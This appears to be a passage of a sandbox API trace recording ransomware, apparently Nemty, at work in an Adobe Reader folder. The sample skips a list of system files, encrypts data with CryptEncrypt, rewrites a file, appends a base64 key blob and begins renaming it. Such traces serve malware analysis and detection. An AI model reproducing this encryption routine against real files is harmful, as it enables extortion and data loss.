[0171.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ccme_base.dll", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ccme_base.dll", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ccme_base.dll", lpUsedDefaultChar=0x0) returned 13 [0171.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ccme_base.dll", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ccme_base.dll", cchWideChar=13, lpMultiByteStr=0x653ef60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ccme_base.dll", lpUsedDefaultChar=0x0) returned 13 [0171.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ccme_base.dll", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ccme_base.dll", cchWideChar=13, lpMultiByteStr=0x653ef98, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ccme_base.dll", lpUsedDefaultChar=0x0) returned 13 [0171.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0171.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0171.121] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff9aa20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2aa998, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="CoolType.dll", cAlternateFileName="")) returned 1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2=".") returned 1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2="..") returned 1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2="...") returned 1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2="windows") returned -1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2="$RECYCLE.BIN") returned 1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2="rsa") returned -1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2="NTDETECT.COM") returned -1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2="ntldr") returned -1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2="MSDOS.SYS") returned -1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2="IO.SYS") returned -1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2="boot.ini") returned 1 [0171.121] lstrcmpiW (lpString1="CoolType.dll", lpString2="boot.ini") returned 1 [0171.122] lstrcmpiW (lpString1="CoolType.dll", lpString2="AUTOEXEC.BAT") returned 1 [0171.122] lstrcmpiW (lpString1="CoolType.dll", lpString2="ntuser.dat") returned -1 [0171.122] lstrcmpiW (lpString1="CoolType.dll", lpString2="desktop.ini") returned -1 [0171.122] lstrcmpiW (lpString1="CoolType.dll", lpString2="CONFIG.SYS") returned 1 [0171.122] lstrcmpiW (lpString1="CoolType.dll", lpString2="RECYCLER") returned -1 [0171.122] lstrcmpiW (lpString1="CoolType.dll", lpString2="BOOTSECT.BAK") returned 1 [0171.122] lstrcmpiW (lpString1="CoolType.dll", lpString2="bootmgr") returned 1 [0171.122] lstrcmpiW (lpString1="CoolType.dll", lpString2="programdata") returned -1 [0171.122] lstrcmpiW (lpString1="CoolType.dll", lpString2="appdata") returned 1 [0171.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CoolType.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0171.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CoolType.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoolType.dll", lpUsedDefaultChar=0x0) returned 12 [0171.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CoolType.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0171.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CoolType.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoolType.dll", lpUsedDefaultChar=0x0) returned 12 [0171.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CoolType.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0171.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CoolType.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoolType.dll", lpUsedDefaultChar=0x0) returned 12 [0171.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CoolType.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0171.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CoolType.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoolType.dll", lpUsedDefaultChar=0x0) returned 12 [0171.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0171.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0171.122] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802945a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c1000, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="cryptocme2.dll", cAlternateFileName="CRYPTO~1.DLL")) returned 1 [0171.122] lstrcmpiW (lpString1="cryptocme2.dll", lpString2=".") returned 1 [0171.122] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="..") returned 1 [0171.122] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="...") returned 1 [0171.122] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="windows") returned -1 [0171.122] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="$RECYCLE.BIN") returned 1 [0171.122] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="rsa") returned -1 [0171.122] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="NTDETECT.COM") returned -1 [0171.122] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="ntldr") returned -1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="MSDOS.SYS") returned -1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="IO.SYS") returned -1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="boot.ini") returned 1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="boot.ini") returned 1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="AUTOEXEC.BAT") returned 1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="ntuser.dat") returned -1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="desktop.ini") returned -1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="CONFIG.SYS") returned 1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="RECYCLER") returned -1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="BOOTSECT.BAK") returned 1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="bootmgr") returned 1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="programdata") returned -1 [0171.123] lstrcmpiW (lpString1="cryptocme2.dll", lpString2="appdata") returned 1 [0171.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0171.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.dll", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptocme2.dll", lpUsedDefaultChar=0x0) returned 14 [0171.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0171.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.dll", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptocme2.dll", lpUsedDefaultChar=0x0) returned 14 [0171.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0171.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.dll", cchWideChar=14, lpMultiByteStr=0x653ef60, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptocme2.dll", lpUsedDefaultChar=0x0) returned 14 [0171.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0171.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.dll", cchWideChar=14, lpMultiByteStr=0x653ef98, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptocme2.dll", lpUsedDefaultChar=0x0) returned 14 [0171.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0171.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0171.123] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x647, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="cryptocme2.sig", cAlternateFileName="CRYPTO~1.SIG")) returned 1 [0171.123] lstrcmpiW (lpString1="cryptocme2.sig", lpString2=".") returned 1 [0171.123] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="..") returned 1 [0171.123] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="...") returned 1 [0171.123] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="windows") returned -1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="$RECYCLE.BIN") returned 1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="rsa") returned -1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="NTDETECT.COM") returned -1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="ntldr") returned -1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="MSDOS.SYS") returned -1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="IO.SYS") returned -1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="boot.ini") returned 1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="boot.ini") returned 1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="AUTOEXEC.BAT") returned 1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="ntuser.dat") returned -1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="desktop.ini") returned -1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="CONFIG.SYS") returned 1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="RECYCLER") returned -1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="BOOTSECT.BAK") returned 1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="bootmgr") returned 1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="programdata") returned -1 [0171.124] lstrcmpiW (lpString1="cryptocme2.sig", lpString2="appdata") returned 1 [0171.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.124] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.sig", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0171.124] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.sig", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptocme2.sig", lpUsedDefaultChar=0x0) returned 14 [0171.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.124] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.sig", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0171.124] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.sig", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptocme2.sig", lpUsedDefaultChar=0x0) returned 14 [0171.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.124] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.sig", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0171.124] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.sig", cchWideChar=14, lpMultiByteStr=0x653ef60, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptocme2.sig", lpUsedDefaultChar=0x0) returned 14 [0171.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.124] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.sig", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0171.124] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.sig", cchWideChar=14, lpMultiByteStr=0x653ef98, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptocme2.sig", lpUsedDefaultChar=0x0) returned 14 [0171.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0171.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0171.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0171.125] Sleep (dwMilliseconds=0x5) [0171.130] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x19a5f070, dwHighDateTime=0x1d561e8)) [0171.130] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x19a5f070, dwHighDateTime=0x1d561e8)) [0171.130] GetLastError () returned 0x12 [0171.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.130] GetLastError () returned 0x12 [0171.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.130] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0171.130] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0171.130] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0171.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0171.130] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653ec5c | out: pszString="q4LgwZqF1WTIw46sux3bTFQkkou4K4peIUo2LYIx3zKoUAK6E0ZOO3rilQyJHUcC\r\nflaBhgODPKhjNUIUB/siUa45TaAbjB5mOlVb//MBhCbDklobtc8+cDVaPiG4nsXc\r\nOrpos50bcUdSzh2R6snq3iq3pAQNqGFXYM5CGU2D05QCbSwLjLLGIvTtW5JoiO84\r\njS+qgkLVqdxDv6/u5zqWv8531qHfsrxFyJzP/mVyBOXOIUqxbsrQE0tzuL8Cilrv\r\nEkfvcNNQ0RU3MxRf7/e0psO+LqMVlf1ly8qqxlSKt6MKnbXzYPIdH3D+AbZpxH+8\r\nUTn3zDjkr9zQKn3UISzkMg==\r\n", pcchString=0x653ec5c) returned 1 [0171.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0171.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.130] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.sig"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0171.131] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=1607) returned 1 [0171.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x640) returned 0x6343fe8 [0171.131] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.131] ReadFile (in: hFile=0x1ec, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x640, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653eea4*=0x640, lpOverlapped=0x0) returned 1 [0171.133] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.133] WriteFile (in: hFile=0x1ec, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653ee9c*=0x640, lpOverlapped=0x0) returned 1 [0171.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.133] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=1607, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x647 [0171.133] WriteFile (in: hFile=0x1ec, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0171.133] CloseHandle (hObject=0x1ec) returned 1 [0171.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0171.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340158 [0171.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0171.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.134] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" (normalized: "c:\\program files (x86)\\adobe\\reader 